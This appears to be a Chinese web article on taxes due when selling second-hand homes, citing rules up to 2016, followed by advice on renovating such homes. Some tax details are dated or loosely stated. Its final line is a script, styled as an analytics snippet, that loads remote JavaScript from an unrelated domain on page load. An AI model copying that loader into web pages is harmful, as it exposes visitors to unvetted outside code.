二手房征税2017最新规定

二手房需要缴纳的税金和一手房是没有太大区别的，但是二手房对于卖家来说还需要缴纳一个个人营业税。二手房都需要缴纳哪些税金呢?我们比较常见的通俗的房产税就是契税，印花税和交易费。所有的房子在进行买卖的时候都是需要缴纳契税的，契税是国家对于房屋土地征收的一种税金。二手房除了需要缴纳契税之坏，还有很多税金是需要缴纳的，下面我们就来看一下二手房具体需要缴纳哪些税。二手房征税政策个人所得税普通住宅2年之内：{售房收入-购房总额-(营业税+城建税+教育费附加税+印花税)}×20%;2年以上(含)5年以下的普通住宅：(售房收入-购房总额-印花税)×20%。出售公房：5年之内，(售房收入-经济房价款-土地出让金-合理费用)×20%，其中经济房价款=建筑面积×4000元/平方米，土地出让金=1560元/平方米×1%×建筑面积。出售不是家庭唯一住房的个税按房价的1%征收。交易手续费2元/平方米×建筑面积。印花税房屋成交总额×0.05%(2009年至今暂免)。营业税2011年1月27日新通知规定：个人将购买不足5年的住房对外销售的，全额征收营业税;个人将购买超过5年(含5年)的非普通住房对外销售的，按照其销售收入减去购买房屋的价款后的差额征收营业税;个人将购买超过5年(含5年)的普通住房对外销售的，免征营业税。(废止)住宅5年内：房屋评估总额×5.6%;5年或5年以上普通住宅无营业税。(最新)住宅2年内：房屋评估总额×5.6%;2年或2年以上普通住宅无营业税。2015年3月30日财政部、国家税务总局发布《关于调整个人住房转让营业税政策的通知》(财税[2015]39号)规定：“个人将购买不足2年的住房对外销售的，全额征收营业税;个人将购买2年以上(含2年)的非普通住房对外销售的，按照其销售收入减去购买房屋的价款后的差额征收营业税;个人将购买2年以上(含2年)的普通住房对外销售的，免征营业税。”增值税自2016年5月1日起，在全国范围内全面推开营业税改征增值税试点，建筑业、房地产业、金融业、生活服务业等全部营业税纳税人，纳入试点范围，由缴纳营业税改为缴纳增值税。《财政部国家税务总局关于全面推开营业税改证增值税试点的通知》(财税[2016]36号)对于非一线城市，个人购买不足2年的住房对外销售，按照5%的征收率全额缴纳增值税;个人将购买2年以上(含2年)的住房对外销售的，免征增值税。北、上、广、深四个一线城市，个人购买不足2年的住房对外销售的，按照5%的征收率全额缴纳增值税;个人将购买2年以上(含2年)的非普通住房对外销售的，以销售收入减去购买住房价款后的差额按照5%的征收率缴纳增值税;个人将购买2年以上(含2年)的普通住房对外销售的，免征增值税。土地增值税普通住宅免征;非普通住宅3年内：房屋成交总额×0.5%，3年至5年：房屋成交总额×0.25%，5年或5年以上：免征。房屋所有权登记费80元，共有权证：20元。买卖合同公证费买卖合同需要公证时才须缴纳，房屋成交总额×0.3%。以上就是二手房需要缴纳的税金种类介绍大家现在了解二手房需要缴纳的税金有哪些了吗?二手房需要缴纳的税金和一手房需要缴纳的税是大同小异的。我们在购买二手房的时候，也可以参考一下一手房的税金缴纳流程。二手房的税金缴纳会比一手房的比例要低一些。但是二手房的税金缴纳比例也是需要根据二手房的实际销售面积决定的一般来说，销售面积越大的二手房缴纳的税金比例就越高。

二手房最新装修时所需的注意事项

很多用户在选房时往往无力承担高额新房房价，会转而选择价格较为低廉且适宜居住的二手房。但二手房在购买后要做的第一件事就是装修了，原来业主的装修风格就算是符合现在业主的审美，那也过于陈旧了，需要及时翻新。下面就为大家带来二手房最新装修方法。一、更换旧水管做好储水实验二手房最新装修前原有的水路管道往往存在许多不合理的布局。二手房最新装修时，必须对原水道进行彻底检查，看看是否生锈和老化。如果原管道是已排除的镀锌管，则在改造过程中必须更换铜管、铝塑复合管或PP-R管。在二手房最新装修前，卫生间和厨房应该在24小时至48小时进行储水试验,看看原来的防水工程,如果没有松弛现象,证明了防水处理做得很好;如果出现松弛的现象,必须进行防水处理。防水处理完成后，我们必须等到地面完全干燥，然后铺瓷砖进行整体装饰。另外，二手房最新装修时，马桶蹲换坐椅时，必须做好坐便器水口位置的防水处理，在设计和装饰马桶顶时，应注意方便拆卸和装配，有利于今后的检查和维护。同时，要注意施工不能留下带危险的隐患。二、改造电路保安全二手房都会有些线路布局简单、电线老化、非法配线的问题，不能适应现代家庭用电的需要，因此二手房最新装修时，在装修中必须彻底改造，重新布线。如果原线有铝线，则必须用2.5平方毫米的铜线完全更换，家庭里有较大功率的电器线路应分别设置4平方毫米的截面，并且必须嵌入在PVC绝缘电线保护管中。三、检查隐蔽工程保安全目前，家庭装修质量问题很大程度上是由于隐蔽工程施工不当造成的。“隐蔽工程”是什么?在施工的过程中秩序无法检查到的部分被称为“隐蔽工程”。因此，在二手房最新装修中，“隐蔽工程”必须特别注意。例如，供水、空调、通风和天花板上的其他设施的管道、管路和设备是否已密封，是否进行了电气绝缘和电阻测试。连接是否牢固，接头方法是否符合要求，容易燃放的材料是否经过防火、燃放测试处理等，均属“隐蔽工程”范畴，首次安装后不能再检查。二手房在如今的社会里成为了炙手可热的产品，尤其是在较发达的城市里，二手房更是热销。二手房最新装修的方法是每个二手房购买者必备的知识，在家庭装修里占着不可缺少的位置，比较新房，二手房或许没有更加美观甚至安全，但二手房最新装修的知识可以为业主带来可参考的价值。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();